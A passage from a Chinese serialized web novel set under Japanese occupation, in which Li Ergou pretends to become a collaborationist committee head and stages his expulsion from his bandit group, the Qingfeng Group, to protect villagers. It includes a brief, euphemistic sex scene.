秀才犹豫了一下,还是如实说道:“狗哥,确实出了点岔子。张二驴送信的时候,被胡世仁和胡彪父子半路打晕了,信被抢走了。富志高拿着那封信,让胡彪装扮成胡家大院的伙计,来集团给老三送信,说日本人明天上午就要枪毙你,还说你让弟兄们攻打县城来救你。” 他顿了顿,语气里带着愤怒。 “其实日本人早就在半路上设了埋伏,就等着咱们往里钻,想把咱们一网打尽!” 李二狗听得心惊肉跳。 “这个富志高!还有胡世仁那对畜生父子!真是卑鄙无耻!” 他没想到这些人竟然能卑鄙到这种地步,拿他的性命设圈套,想把清风集团的弟兄们一网打尽。 “还好我及时识破了他们的阴谋。”秀才说道,“我看胡彪神色慌张,说话漏洞百出,就起了疑心,一番盘问,他就全招了。” 李二狗这才彻底放下心来,看着秀才的眼神里满是欣慰。 他当初力排众议,让秀才当清风集团的总经理,就是看中了他的冷静和智慧。 关键时刻,秀才果然没让他失望。 “做得好。”李二狗拍了拍他的手,语气郑重,“你回去告诉兄弟们,我没事,让他们千万别冲动。凭咱们现在的力量,根本不可能攻下日本人重兵防守的县城,硬碰硬,只会让弟兄们白白送死。” 秀才点了点头,心里却依旧不安。 “狗哥,那我们怎么救你出去?我们不能眼睁睁看着你被关在这里。” 李二狗眯起眼睛,目光落在牢房的铁栏杆上,若有所思地说道:“现在想救我出去,难于登天。日本人看得紧,而且……”他话锋一转,嘴角勾起一抹深意的笑,“我暂时还不能走。” “为什么?”秀才愣住了。 “日本人抓我,不是为了枪毙我,是想逼我当维持会会长。”李二狗压低声音,语气里带着算计,“他们需要一个熟悉当地情况的人帮他们管着仙人洞镇,而我,就是他们眼里最合适的人选。” 秀才瞬间明白了他的意思,眼睛一亮:“狗哥,你是想……” “没错。”李二狗点点头,“即使我不当这个维持会会长,日本人肯定还会让其他人来当,如果这个会长落到一个卑鄙无耻的人手里,受苦的还是来百姓。与其让别人来祸害百姓,还不如我站出来应付日本人。你回去告诉大家,最多两天,我一定能出去。” 秀才看着李二狗胸有成竹的样子,心里的不安一扫而空。 他知道,李二狗说能出去,就一定有办法。 “好,我这就回去告诉弟兄们,让他们安心等着。” “还有。”李二狗叫住他,眼神严肃,“看好胡家父子,别让他们跑了。等我出去,再好好跟他们算算这笔账。” “放心吧狗哥。”秀才用力地点了点头。 就在这时,牢房外传来了脚步声,孙竹刚的声音响起:“时间到了。” 秀才最后看了李二狗一眼,眼神里充满了信任。 李二狗也冲他点了点头,示意他放心。 秀才跟着孙竹刚走出日本宪兵队,柔和的月光洒在他身上。 他抬头望了望天空,繁星闪烁。 他知道,用不了多久,李二狗就会带着他们,走出一条更宽的路。 而那些卑鄙无耻的小人,终将为自己的所作所为付出代价。 第635章 李二狗同意当汉奸 “他怎么说?” 刚走出日本宪兵队大院,孙竹刚就忍不住问道,眼神里带着一股掩饰不住的急切。 最近这几天他一直寝食难安,既盼望着李二狗能答应他,又怕他真的铁了心不从,到时候自己在日本人面前不好交差。 秀才站在一棵大槐树下,月光透过树叶的缝隙落在他的眼镜片上,折射出细碎的光。 他微微一笑,笑容从容不迫,眼角微微上扬,竟有七八分像李二狗平日里运筹帷幄的模样。 “他还在犹豫,不过孙县长请放心,我看他心里已经松动了,用不了多久,定会给您一个准话。” “真的?” 孙竹刚喜出望外,嗓门都不自觉高了几分。 他原本以为李二狗是块茅坑里的石头——又臭又硬。 他认定了的事情八匹野狗都拉不回来,没想到这才一会儿功夫,就被说动了。 从私心里讲,他实在不愿看着这位曾经的结拜兄弟落得个被枪毙的下场,能劝降李二狗,于公于私都是好事。 “孙县长,”秀才语气平静,“李管家也是一个重情重义的人,只是心里那道坎不好迈。他也有软肋,咱们不妨再多给他点时间,让他好好想一想,逼得太急,反而容易适得其反。” 孙竹刚正想问“他的软肋是什么”,秀才却已拱手作别。 “孙县长公务繁忙,我就不打扰了,告辞。” 说罢转身就走,布鞋踏在青石板上,留下一阵轻响。 “软肋?他能有什么软肋?” 孙竹刚望着秀才远去的背影,喃喃自语。 在他印象里,李二狗向来天不怕地不怕,当年为了救一个胡家大院的丫头,敢单枪匹马闯匪窝,如今怎么会有软肋? 他想不明白,却也没再多想,只要李二狗能答应出任仙人洞镇维持会会长,其他的都不重要。 秀才回到清风寨时,已是深夜。 山风带着些许凉意,吹得寨门“吱呀”作响,聚义厅里却还亮着灯。 陈老三和望冬正坐在桌边,桌上的油灯燃得只剩小半盏,灯芯突然爆出细碎的火星。 “秀才!你可算回来了!”陈老三一见他推门进来,“腾”地站起来,几步冲过去,一把抓住他的胳膊,力道大得几乎要捏碎他的骨头,“狗哥怎么样了?日本人没为难他吧?你见到他了吗?” 秀才被他晃得头晕,笑着拍了拍他的手。 “老三,别急,先让我喝口水,慢慢说。” 他风尘仆仆,长衫上沾着尘土,嗓子干得冒烟。 望冬早已站起身,快步走到桌边,给秀才倒了一碗水。 “秀才,先坐下喝口水歇歇。” 她的声音轻柔,眼神里却藏着和陈老三一样的焦灼,只是她比陈老三更沉得住气。 她从秀才进门时平静的表情里,已经猜到,事情大概有了眉目。 秀才接过水,一饮而尽,这才在椅子上坐下,抹了把嘴,缓缓开口道:“见到狗哥了,他……还好,就是受了点皮肉苦。” 他顿了顿,看了眼两人紧张的神色,继续说道:“狗哥说了,他打算答应日本人,出任仙人洞镇的维持会会长。” “什么?!”陈老三像是被人兜头浇了一盆冷水,猛地一拍桌子,桌上的油灯被震得晃了晃,险些翻倒,“狗哥要当汉奸?他疯了不成?这要是传出去,祖宗十八代都得被人骂!” 他气得满脸通红,胸口剧烈起伏着,“咱们清风集团的弟兄,哪个不是提着脑袋跟他干的?为的就是除暴安良,他现在倒好,要去给日本人当狗?” “老三,你先别激动。”秀才等他吼完,才缓缓开口道,“狗哥说,与其让那些心术不正的人占着维持会的位子,搜刮民脂民膏,不如他自己去。至少他坐在那个位置上,能护着仙人洞镇的百姓,少受点日本人的欺负。” “护百姓?”陈老三冷笑一声,眼睛瞪得溜圆,“老百姓才不管你安的什么心!他们只知道你穿了维持会的衣裳,给日本人办事,就会戳着你的脊梁骨骂汉奸!到时候不光他李二狗,连咱们清风集团的弟兄,都得跟着背黑锅!” 他想不明白,一向光明磊落的李二狗,怎么会做这种吃力不讨好的事。 “那你说怎么办?”望冬忍不住开口道,声音里充满了疲惫,“难道眼睁睁看着日本人另派一个心术不正的人去折腾百姓?狗哥这么做,一定有他的道理。” “道理?什么道理能比名声重要?”陈老三梗着脖子,突然压低声音,像是想到了什么可怕的可能,“他是不是……是不是为了活命才……” 这话一出,聚义厅里瞬间安静下来,只剩下油灯燃烧的“噼啪”声。 秀才的脸色沉了沉,没有说话。 他没法回答这个问题。 要说李二狗一点没想过活命,那是假的。 可要说他只为了活命,那又太小看他了。 有些话,哪怕是亲兄弟,也不能说透,说了,就伤了感情。 “老三,你怎么能这么想狗哥?”望冬的声音里带着责备,眼眶微微发红,“当年狗哥为了救你,差点被土匪砍死,他什么时候是个贪生怕死的人?” “我也不想这么想!”陈老三烦躁地抓了抓头发,“可我实在想不通!大不了我带弟兄们打进县城,把他救出来!就算救不出来,大家一起死,有什么了不起的?脑袋掉了,也不过碗大个疤!” “糊涂!”秀才猛地一拍桌子,声音不大,却带着前所未有的严厉,“狗哥特意交代,绝不能带兄弟去攻打县城!日本人就等着咱们冲动,只要咱们一动手,正好中了他们的圈套,到时候别说救狗哥,整个清风集团都得搭进去!” 陈老三被他吼得愣了一下,张了张嘴,却没再反驳,只是心里那股气怎么也顺不过来。 他蹲在地上,双手抱着头,肩膀微微耸动着,像极了一个受委屈的孩子。 李二狗要当汉奸?! 他实在是接受不了。 第636章 瞒天过海 “还有,”秀才的语气稍微缓和了一些,目光扫过望冬和陈老三,神色凝重地说道,“狗哥出任维持会会长的真正目的,只能咱们三个人知道,绝不能泄露给第四个人。否则,不仅狗哥的计划会泡汤,他的性命也难保。 望冬点了点头,眼神坚定地说道:“我明白。” 陈老三也从地上站起来,闷闷地说道:“知道了。” 只是语气里,还是有些不甘。 “现在集团里的弟兄,大多都知道狗哥是胡家大院的管家,如今他要去当维持会会长,弟兄们肯定会有想法。”望冬轻声说道,语气里带着担忧,“就怕有人嘴上不说,心里生了嫌隙。” “不管他们怎么想,咱们先按狗哥说的做。”秀才站起身,走到窗边,望着外面漆黑的山夜,“等狗哥回来,自有安排。” 第二天一早,孙竹刚就急匆匆地来到牢房。 李二狗正靠在墙角闭目养神,阳光透过铁窗照射在他的脸上,映出几道浅浅的伤痕,却丝毫没减他眼底的锐气。 “二狗兄弟,你考虑得怎么样了?” 孙竹刚在牢门外站定,语气里带着一种试探。 日本人已经催了他好几次,若是再没消息,他怕是真要保不住李二狗了。 李二狗没有睁眼,脸上没什么表情,仿佛没听见他的话。 “二狗兄弟,日本人还等着我的回话呢。” 孙竹刚又催了一句,心里有些发毛。 他总觉得今天的李二狗,身上有种说不出的压迫感。 李二狗这才缓缓睁开眼,目光落在孙竹刚脸上,似笑非笑。 那眼神看得孙竹刚浑身不自在,像是被剥光了衣服,心里的那点小算盘全被看穿了。 “你倒是说话啊!”孙竹刚有些不耐烦地催促道。 “大哥。”李二狗突然开口,声音不高,却清晰地传到孙竹刚耳朵里。 这声“大哥”,他已经很久没叫过了,自从孙竹刚投靠日本人后,两人见面不是冷嘲热讽,就是剑拔弩张。 孙竹刚愣了一下,随即激动得脸色都红了。 “二……二狗兄弟,你终于认我这个大哥了?我……我真是太高兴了!” 他搓着手,眼眶都有些发热,仿佛又回到了当年两人桃园结义的时候。 “我答应你,出任仙人洞镇维持会会长,”李二狗的语气平静,听不出任何喜怒,“但不是为了日本人,是看在你的面子上。” 孙竹刚心里不禁冷笑。 这话骗骗三岁小孩还行,但他脸上却装作一副感动不已的样子。 他连连点头道:“我就知道二狗兄弟念旧情!以后咱们兄弟联手,不管有没有日本人,这江东地面,还是咱们说了算!” “我跟着大哥干。” 李二狗顺着他的话,语气里带着前所未有的恭敬。 孙竹刚心里的石头终于落了地,脸上的笑容更真切了。 “好兄弟!不过,有件事,我得提前跟你说清楚。” “大哥但讲无妨。” “日本人说了,绝不允许江东有私人武装存在。”孙竹刚的语气沉了沉,“所以,你的清风集团……可能得解散了。” 李二狗像是早就料到他会这么说,脸上没什么意外,只是淡淡一笑。 “大哥,在这乱世里,手里没点枪杆子,你睡得踏实吗?” 孙竹刚一怔,下意识地摸了摸腰里的枪。 他当然明白这个道理,只是日本人盯得紧,他不敢明着反抗。 “清风集团是我的心血,也是大哥的助力。”李二狗的声音压得低了些,带着一点诱惑,“关键时刻,它能保命啊。” “可日本人那边……”孙竹刚有些犹豫。 “这好办。”李二狗显得胸有成竹,“我回去后,就让清风集团的弟兄们跟我‘决裂’,对外宣称我当了汉奸,他们跟我划清界限。这样一来,日本人就不会再盯着我们了,真要想剿匪,就让他们自己去剿。” 孙竹刚的眼睛亮了。 这主意看似简单,却把所有的麻烦都推给了日本人。 既遵守了日本人的命令,又保住了能为自己所用的武装,简直一举两得。 好一招瞒天过海! 他知道这是李二狗的计谋,却不得不承认,这计谋确实高明。 “好!就按你说的办!”孙竹刚拍了拍大腿,“不过,这事得做得隐蔽些,不能让日本人看出破绽。” “大哥放心,我办事,你还不放心吗?” 李二狗笑了,那笑容里藏着几分狡黠,几分锐利。 当天傍晚,李二狗回到了清风集团。 聚义厅里,陈老三、望冬、秀才等人早已等在那里,见他进来,众人都泪目了。 他身上穿着一件干净的长衫,脸上的伤痕被处理过,只是眉宇间,多了几分说不清道不明的深沉。 “狗哥!”陈老三率先反应过来,冲上去想拉他,却又猛地停住了手,眼神复杂地看着他,嘴唇动了动,最终还是问出口问道:“你……你真的答应日本人了?” 李二狗点了点头,语气平静地说道:“明天上午就去仙人洞镇成立维持会。” 望冬的眼圈红了,却没说话,只是默默地给李二狗倒了杯茶,递到他手里。 “狗哥,你听我说……”陈老三还想劝,却被李二狗抬手制止了。 “老三,我知道你想说什么。”李二狗看着他,眼神诚恳,“但有些事,非得这么做不可。”他顿了顿,转向众人。 “现在,我宣布一件事。” 大家都屏住了呼吸。 “我出任仙人洞镇维持会会长之后,日本人绝不会允许我再掌控清风集团。所以,必须把我从集团里除名,对外宣称我当了汉奸,弟兄们与我划清界限。” “什么?”陈老三又是一惊,“那你走了,集团怎么办?” 在陈老三的意识里,清风集团如果没有李二狗,这个集团也就没有存在的必要的。 “清风集团是咱们兄弟多年的心血,一定要经营好,绝对不能放弃!” 大家听罢,这才长舒一口气。 李二狗接着说道:“为了清风集团的长远发展,集团必须把我除名!从此以后,清风集团的事情和我无关。” 第637章 安抚女人的高招 “狗哥,你开玩笑的吧?你真的要离开集团?” 陈老三终于还是忍不住了,清风集团不能没有李二狗,就好像西方不能没有耶路撒冷一样。 秀才一直没有说话,其实他早已洞悉李二狗的真正意图,这只不过是他糊弄日本人的手段罢了。 清风集团下辖五个农场,有上千人马,又在后山修筑了永久的山洞和暗堡,还有一本万利的药丸生意,李二狗绝不可能放弃。 “我没有开玩笑。” “那怎么能行?清风集团没有你,我们不行啊!” 从大家的表情中,李二狗知道,秀才和望冬都已明白自己的意思,只有陈老三还没有明白。 望冬只好和陈老三嘀咕了一番,陈老三这才如梦方醒。 “狗哥,你有话直说多好?你这绕来绕去的,可把我吓死了。” “你这榆木脑袋,说话之前就不会动动脑子吗?” 陈老三不好意思地摸着自己的后脑勺笑了,他就是如此的简单,可对李二狗的忠诚却无人能比。 “狗哥,你现在既然已经出来了,咱们完全可以反悔,不当这个狗屁维持会长,谅他日本人也拿你没有办法。” 陈老三的这个主意,李二狗不是没有想过。 但一旦反悔,李二狗担心日本人会恼羞成怒,借机报复仙人洞镇的百姓。 日本人都是一群杀人不眨眼的恶魔,他在江东城破的时候已经亲眼见识过。 他不想仙人洞镇的百姓因为自己而被日本鬼子蹂躏,被他们屠杀。 而且如果日本人要扶持一个像胡世仁之流的人来担任仙人洞镇的维持会会长,遭殃的还是老百姓。 如果一定有一个人要下地狱,才能拯救黎民百姓,李二狗情愿是自己。 汉奸的骂名就由他独自承担吧! “我已经决定了!你们不必再劝!不过这件事只限于咱们四个人知晓,绝对不能告诉任何人。我走之后,集团成立由你们三人组成的寨务会常委会,一切重大决策必须经过你们三个人表决之后才能执行。” 李二狗的安排看似不偏不倚,其实还是倾向于陈老三,望冬作为他的媳妇,两人联手完全可以压制秀才。 秀才对李二狗是忠心,但和陈老三、望冬相比,还是有一定的差距。 在关键位置上必须安排自己最亲近的人,李二狗懂得这个道理。 “狗哥,你放心,一切重大决策我们都会向你请示汇报的。”陈老三率先表态道。 秀才也急忙附和道:“对,集团所有的大事还得狗哥你来拿主意。” 李二狗笑着摆了摆手,说道:“也不必事事都向我汇报,你们自己决定就行了,我相信你们。” 李二狗说不必事事都汇报,意思就是有些事情还是要汇报。 其实李二狗并不担心自己会被排挤出集团,因为他掌握着一夜八次丸的销售渠道,这是目前清风集团最主要的经济来源。 不是李二狗离不开清风集团,而是清风集团离不开李二狗。 “狗哥,我只听你的。” 望冬突然蹦出这么一句话,说完之后,俏脸微红,低着头便不再言语。 李二狗看着他们,眼里闪过一丝欣慰,随即又变得凝重起来。 “记住,不管以后外面怎么传,不管集团的弟兄们怎么想,你们都要守住清风集团,这是咱们最后的退路。” “嗯!”众人人异口同声地应道。 “秀才,你通知寨务会其他人,明天下午四点在议事厅召开寨务会,会上由你提出罢免我集团董事长的职务,老三和望冬也要附和,会后,我和素文会离开清风集团。” “素文姐也走?” 望冬舍不得李素文离开。 “做戏当然要做全套!你们把我撵出了集团,我媳妇还能留下吗?这不合情理。” “可我舍不得素文姐呀。” 望冬忍不住抹起了眼泪。 李二狗笑道:“望冬,咱们又不是生死离别,你哭什么?下山之后我和你素文姐就住在胡家大院,你想我们了随时可以来。” 望冬这才破涕为笑。 待一切安排妥当之后,李二狗起身,往自己的住处走去。 山风吹过,带着松涛的声音,他抬头望了望天上的月亮,月亮被云遮了一半,朦胧中透着一股清冷的气息。 他知道,从明天起,他就要戴上“汉奸”的帽子,被人唾骂,被人误解,但他不在乎。 只要能护住集团的弟兄们,护住这方百姓,这点骂名,又算得了什么? 路还长,他得一步一步走下去。 “二狗,你回来了。” 望冬早已差人把李二狗回来的消息告诉了李素文,她一直在大门口等着他。 “素文,让你担心了。” 李二狗牵起李素文的手就进了屋。 安抚女人,李二狗有自己的妙招。 一千次言语的安慰不如在床上的一次高潮。 李二狗是这样想的,也是这样做的。 李素文站在云巅,早已把一切忧愁和烦恼通通抛诸脑后。 事后,李素文躺在李二狗怀中,她觉得自己是这个世界上最性福的女人。 “狗儿,我这辈子都离不开你了。” “我也是!” “你会爱我一辈子吗?” “当然会!” 李素文凑到李二狗耳边,轻声呢喃道:“人家还想要!” 女人想要,李二狗没有不给的道理。 今夜的李素文,在李二狗猛烈炮火的打击下,一次次魂飞魄散。 她觉得自己都要上天了! 不! 她已经在天上了! “素文,明天一早我回胡家大院,你收拾一下行李,明天晚上我再来接你。” “为什么要离开这里?我听说日本鬼子打进了江东,我们留在这里岂不是更安全一些吗?” 李二狗只好把自己即将出任仙人洞镇维持会会长的事情告诉了李素文。 李素文听后,沉默了一会儿。 最终她只说了一个字。 “好!” 不管李二狗是不是汉奸,这辈子她都跟定李二狗了。 而且她知道,李二狗绝不是贪生怕死之人,他做这样的决定,一定有他的道理。 第638章 罢免李二狗 仙人洞镇,胡家大院。 “狗哥,我……我没有完成你吩咐的事情,你责罚我吧。” 张二驴被清风集团的人解救之后,一直在忏悔自己的错误。 因为自己的疏忽大意,差点害死李二狗,他自己都无法原谅自己。 “二驴,这件事不怪你,你就不要自责了。” 张二驴当即感动的涕泪涟涟,这要换作其他人,还不知道怎么惩罚他。 李二狗不仅不责罚,反而来安慰他,这让他更加敬佩李二狗的为人。 “狗哥,我一定不会轻饶了胡世仁父子!” 胡彪目前还被关押在清风集团,想要他的命,简直易如反掌。 但李二狗此时还没有心思去考虑这件事情。 “二驴,你马上带人在咱们大院门口搭建一个戏台,待会孙竹刚和日本人要过来。” 张二驴听后震惊不已。 “日本人过来?他们来做什么?” “我已经答应孙竹刚担任即将成立的仙人洞镇维持会会长。” “狗哥,你……你要当汉……”张二驴简直难以相信自己的耳朵,李二狗一个浓眉大眼的人,竟然要当汉奸,“我没有听错吧?” 张二驴的反应在李二狗的意料之中,他保持着惯有的笑容。 “二驴,你没有听错,我当了汉奸!” 张二驴震惊的半天没回过神来。 李二狗当了汉奸,那胡家大院的人岂不是都成了汉奸? 面对李二狗这种数典忘祖的行为,张二驴不知道自己到底应不应该继续跟随他左右。 “二驴,我知道你现在很难理解,但不理解没关系,我会给你时间考虑,不管你以后做出什么样的决定,我都不会为难你。” “狗哥,我……” 李二狗抬手打断了他。 “先不要说了,你先带人去把戏台搭好,今天这出戏,我们必须演完,而且一定要演好。” 张二驴何等聪明之人,听到李二狗说是“演戏”,立马明白了李二狗的意思。 “狗哥,我马上去安排。” 上午十点钟,胡家大院门前的小广场上,锣鼓喧天、鞭炮齐鸣、张灯结彩、人山人海。 戏台正上方挂着一条红色的横幅,上面用毛笔字写着一行遒劲有力的大字:热烈祝贺江东县仙人洞镇治安维持会成立! 李二狗和孙竹刚以及一个日本小队长站在戏台中央,为仙人洞镇治安维持会揭牌、剪彩。 戏台下面挤满了看热闹的民众。 “这个李二狗,平时看着人模狗样的,怎么给日本人当了汉奸?” “难道他就不怕被人戳脊梁骨吗?” “地主家哪有什么好人?他们本来就是蛇鼠一窝!” “给日本人当狗,不得好死!” “今天晚上我就去刨他家祖坟!” …… 戏台下议论纷纷,丝毫不影响李二狗在戏台上和日本人谈笑风生。 “李先生,你的表现大日本皇军都看在眼里,好好干!皇军绝不会亏待你的。” “感谢皇军栽培!我一定不负皇军所望。” “吆西,李先生对大日本皇军的忠心令我非常感动,希望我们以后精诚合作,为大东亚共荣贡献江东力量。” “一切唯皇军马首是瞻!” “吆西!吆西!哈哈哈……” 日本人刚刚占领江东不久,尤其是在广大的农村,还充满着各种不稳定因素,他拒绝了李二狗的热情挽留,剪完彩之后不敢久留,坐上挎斗三轮车就回了江东县城。 “大哥,日本人走了,你留下吃饭吧,我都吩咐底下的人准备好了,有你喜欢吃的东西。” 孙竹刚显得很兴奋,李二狗做事总能做到人的心坎上。 “二狗,你今天给全县的乡镇打了个样,做得好啊!我的工作以后好开展了。” 李二狗谦虚地说道:“这一切都是大哥指挥得当,我只不过是按照你的吩咐做罢了。” 李二狗几句马屁拍的孙竹刚十分受用。 两人不顾底下民众的议论,手挽着手走进了胡家大院。 孙竹刚边走边若有所思地说道:“二狗啊,如今胡家大院该改改名字了。” 李二狗笑得很灿烂。 “其实叫什么并不重要,关键是谁说了算,你说呢,大哥?” 孙竹刚一愣,随即哈哈大笑起来。 “二狗啊,你有大智慧啊,哈哈……” 孙竹刚大醉而归。 李二狗下午回到清风集团。 议事厅内,寨务会成员已全部就坐。 李二狗出任江东县仙人洞镇维持会会长的消息就像长了翅膀一样,飞进了清风集团每个兄弟的耳朵里。 其传播速度之快令人咂舌。 原因很简单,是李二狗特意吩咐秀才安排人散播的。 这一切的铺垫,只为今天下午召开的寨务会。 “大家都静一静,现在开会。” 李二狗挥手让大家安静下来,片刻的安静之后,秀才突然站了起来。 “董事长,关于你出任仙人洞镇治安维持会会长的事,是不是有必要和大家解释一下?” 李二狗冷冷地看着秀才,一副似笑非笑的模样。 “我没什么好解释的!这是我的私事。” “私事?”秀才毫不示弱,“你是集团的董事长,你的一举一动都代表着集团的形象,你现在给日本人当了汉奸,竟然说是你的私事?你在给咱们集团抹黑。” 陈老三趁机拍案而起。 “秀才说的对!我陈老三绝不当汉奸!” 众人看愣了! 作为李二狗最信任的人,秀才和陈老三先后发难,看来李二狗这是犯了天怒! “我只不过是出任了维持会会长罢了,这件事和集团无关。” 秀才却不依不饶。 “你说无关就无关?我秀才绝不愿意和汉奸在同一个屋檐下共事!日本鬼子侵我国土,屠我百姓,作为中国人,我们和日本鬼子不共戴天!” 陈老三表现的相当活跃,一直对李二狗言听计从的他,今天表现出了对他极大的愤怒。 “对,不共戴天!谁当汉奸,我陈老三第一个不同意!” “我也不同意!” 望冬胸脯子一抖一抖的,她也罕见地表达了对李二狗的反对意见。 第639章 真真假假 议事厅里的气氛剑拔弩张,木桌被众人轮番拍得“咚咚”作响。 李二狗坐在中央的椅子上,看着眼前一张张义愤填膺的脸,心头竟真泛起一阵酸涩。 秀才他们演得太像了,那股子决绝和愤怒,仿佛不是装出来的,连他自己都快忘了这只是一场戏。 “吆喝,我看今天大家是要造反啊!”李二狗猛地一拍桌子,声音里带着刻意装出来的怒意,眼神扫过众人,“你们一个个都冲着我来,是想逼宫篡位吗?别忘了,清风集团可是我李二狗一手建立起来的!没有我,你们能有今天?” “集团是大家的,不是你一个人的私产!”秀才往前一步,胸膛剧烈起伏着,脸上满是“义愤填膺”,“你如果执意给日本人当汉奸,就必须离开集团!我们清风集团,绝不能让一个汉奸来当董事长!” 他额头上的青筋暴起,仿佛真的对李二狗的“背叛”恨之入骨。 “我同意秀才的意见!”陈老三立刻高声附和,猛地一拍桌子,震得桌上的茶碗都跳了起来。“狗哥,你太让兄弟们失望了!咱们当初上山,是为了劫富济贫,不是让你去给日本人磕头当狗的!” 他的眼睛瞪得溜圆,语气里的痛心疾首,连李二狗都差点信了。 “同意罢免李二狗董事长职务的,请举手!”秀才扬声喊道,率先举起了手。 陈老三紧随其后,手臂举得笔直。 望冬也慢慢抬起手,脸上带着一副痛心和决绝的表情。 她的目光避开李二狗的视线,仿佛不忍看他,却又不得不坚持“正义”。 议事厅里的其他人你看我,我看你,脸上都充满了疑惑。 他们都是李二狗一手提拔起来的,平日里对他敬若神明,可此刻见集团核心层里的三个人都站出来反对,心里便明白这事没有转圜的余地了。 再说,“汉奸”这两个字太刺眼,谁也不想跟一个汉奸扯上关系。 “我同意!”留着络腮胡的王朝紧跟着表态,举起了手。 他是李二狗当年从死人堆里救出来的,此刻却第一个站到了对立面。 “我也同意!”马汉也跟着举手,声音不大,却异常坚定。 紧接着,一只只手陆续举了起来。 “同意!” “我也同意!” 他们的声音此起彼伏,像针一样扎在李二狗心上。 他看着那些熟悉的面孔,心里五味杂陈。 这些人里,有他分过田地的佃户,有他救过性命的弟兄,当年一个个对他感恩戴德,发誓要跟着他出生入死,可如今,竟没有一个人站出来为他说句话。 “没想到啊……”李二狗缓缓开口,声音里带着一丝不易察觉的颤抖,“我为清风集团掏心掏肺,把你们一个个从泥坑里拉起来,如今却被你们联手撵下台。你们这样做,良心就不会痛吗?” 他的目光扫过众人,带着失望,也带着一丝被“背叛”的悲凉。 “只要你现在辞掉维持会会长的职务,”秀才往前一步,语气缓和了一些,“我们可以既往不咎,你还是清风集团的董事长。” 这话听着是劝,实则是把“汉奸”的帽子往李二狗头上又按了按。 李二狗猛地拍案而起,椅子被他撞得往后滑了半尺,发出一声刺耳的声响。 “识时务者为俊杰!”他怒视着众人,声音恨不得掀翻屋顶,“你们这群人怎么就这么不识时务?如今江东早就是日本人的天下了,跟他们作对,是嫌命长吗?” “如果人人都像你这样当亡国奴,中国迟早要亡在小日本手里!”秀才寸步不让,声音铿锵有力,“我们清风集团的弟兄,宁死也不做亡国奴!” “对!不做亡国奴!”陈老三振臂高呼,拳头重重砸在桌子上,“老子这条命是捡来的,大不了再丢一次,也不能让后人戳着脊梁骨骂!” “不做亡国奴?”李二狗冷笑一声,眼神里满是“不屑”,“说得轻巧,你们就不怕死吗?” “怕死就不上清风山当土匪!”一个年轻的弟兄高声喊道,声音里带着少年人的热血。 “对!怕死就不来了!” 其他人纷纷附和,议事厅里的气氛越发激昂,连李二狗都被这股子气势感染了,恍惚间竟忘了这是场戏。 “你们会后悔的!”李二狗死死盯着众人。 “我们绝不后悔!”秀才往前一步,大义凛然地宣布道,“经寨务会举手表决,一致同意罢免李二狗清风集团董事长职务!请你即刻下山,从今往后,你的任何行为,都与清风集团无关!” “我要是不走呢?”李二狗再次拍案而起,眼神凶狠地扫过众人,手悄悄按在了腰间的枪上。 这是李二狗临时起意增加的情节,目的就是增加冲突的真实性。 陈老三也“噌”地站起来,手同样按在枪上,脸上带着痛心和决绝。 “狗哥,你别逼兄弟们动手行吗?”他的声音有些沙哑,“大家兄弟一场,我们不想撕破脸。你走你的阳关道,我们过我们的独木桥,井水不犯河水,你还是自己走吧。” “对!汉奸不配待在清风寨!” “赶紧走!看着就恶心!” “再不走,别怪我们不客气了!” 骂声和喊声此起彼伏,像潮水一样涌向李二狗。 他看着那些曾经对他毕恭毕敬的弟兄,此刻却满眼鄙夷和愤怒,心里真不是滋味。 意料之中的戏码,却演出了意料之外的冲击力。 “好,好得很!”李二狗点了点头,转身往外走,“你们好自为之!” 走到门口时,他回头看了一眼,秀才、陈老三和望冬站在原地,脸上的“愤怒”还没褪去,却在他看向他们的瞬间,飞快地交换了一个眼神。 那眼神里有默契,有担忧,还有一丝完成任务的释然。 李二狗深吸一口气,回家带着李素文,头也不回地往山下走去。 议事厅里的喧嚣渐渐远去,可那一张张“义愤填膺”的脸,却像烙印一样刻在了李二狗的心上。 这场戏演得太真,真到连他自己都分不清,哪些是演的,哪些是藏在心底的真实。 第640章 狗汉奸李二狗 胡家大院的朱漆大门在身后缓缓关上时,李素文的手不自觉地攥紧了衣角。 月光穿过高大门楼上的雕花,在地面的青石板上投下一抹斑驳的光影,照得她脸颊发烫。 院子里来来往往的伙计丫鬟,目光像针一样扎在她身上,有震惊,有不解,还有掩不住的好奇。 当年高高在上的四奶奶,失踪这么多年,竟跟着管家李二狗回来了,还成了他的媳妇。 几个年长的老妈子端着洗衣盆经过时,脚步不自觉地慢了下来,眼角的余光不住地瞟向李素文,嘴里还一直在嘀嘀咕咕。 “这不是四奶奶吗?怎么……” “小声点!没看见是李管家带着的?现在人家是李管家的媳妇了……” “啧啧,真是没想到啊,当年何等端庄,如今……” 李素文的头埋得更低了,恨不得找个地缝钻进去。 她能感觉到那些目光里的打量和议论,像无数根细针,密密麻麻地刺在心上。 她知道自己这事的荒唐。 曾经是胡家大院的四姨太,如今却成了管家的媳妇,换谁看了都得觉得震碎三观。 可她别无选择,李二狗是她在这乱世里唯一的依靠。 “狗哥,你回来了。” 张二驴从月亮门里快步迎了出来,脸上堆着谄媚的笑,眼神却在李素文身上飞快地扫了一圈,又赶紧挪开,显得有些局促。 他刚要习惯性地喊“四奶奶”,“四”字刚到嘴边,又猛地咽了回去,嘴角的肌肉抽搐了两下,索性干脆不称呼,只对着她点头哈腰。 李二狗看在眼里,心里跟明镜似的。 他拍了拍张二驴的肩膀,语气平淡地说道:“以后叫嫂子就行,还住原来的院子,你让人赶紧打扫出来,我也搬过去。” 张二驴愣了一下,随即连连点头道:“好的!好的!我马上就去安排!” 心里却暗自嘀咕,狗哥这是彻底不避讳了? 想当年他跟大奶奶于兰芝那点事,还偷偷摸摸地藏着掖着,生怕被人撞见。 如今和四姨太,竟堂而皇之地住进原来的院子里,还让自己喊“嫂子”,这是真把胡家大院当成自己的地盘了。 想来也是,如今他当了仙人洞镇维持会会长,是县长面前的红人,胡家大院早就是他说了算,自然不用再藏着掖着。 再说,他连汉奸都当了,这点名声又算得了什么? 张二驴一路小跑着去吩咐下人,李二狗则带着李素文往西边的院子走。 路上遇到的伙计丫鬟纷纷停下脚步,低着头喊“李管家”,却没人敢看李素文,气氛尴尬至极。 自打李二狗当了仙人洞镇维持会会长,胡家大院的日子就没消停过。 隔三差五,就有不明真相的群众往门口扔臭鸡蛋、烂菜叶,有时候还夹杂着石头和瓦片,砸在门楼上“噼里啪啦”响。 大门上“胡府”的匾额,早就被砸得坑坑洼洼,漆皮剥落,看着格外狼狈。 镇上的人提起李二狗,没有不骂的。 “那个汉奸!忘了自己的祖宗,竟心甘情愿给日本人当狗!” “听说他还把胡地主的四姨太娶了,真是不要脸!” “这种人,就该天打雷劈!” 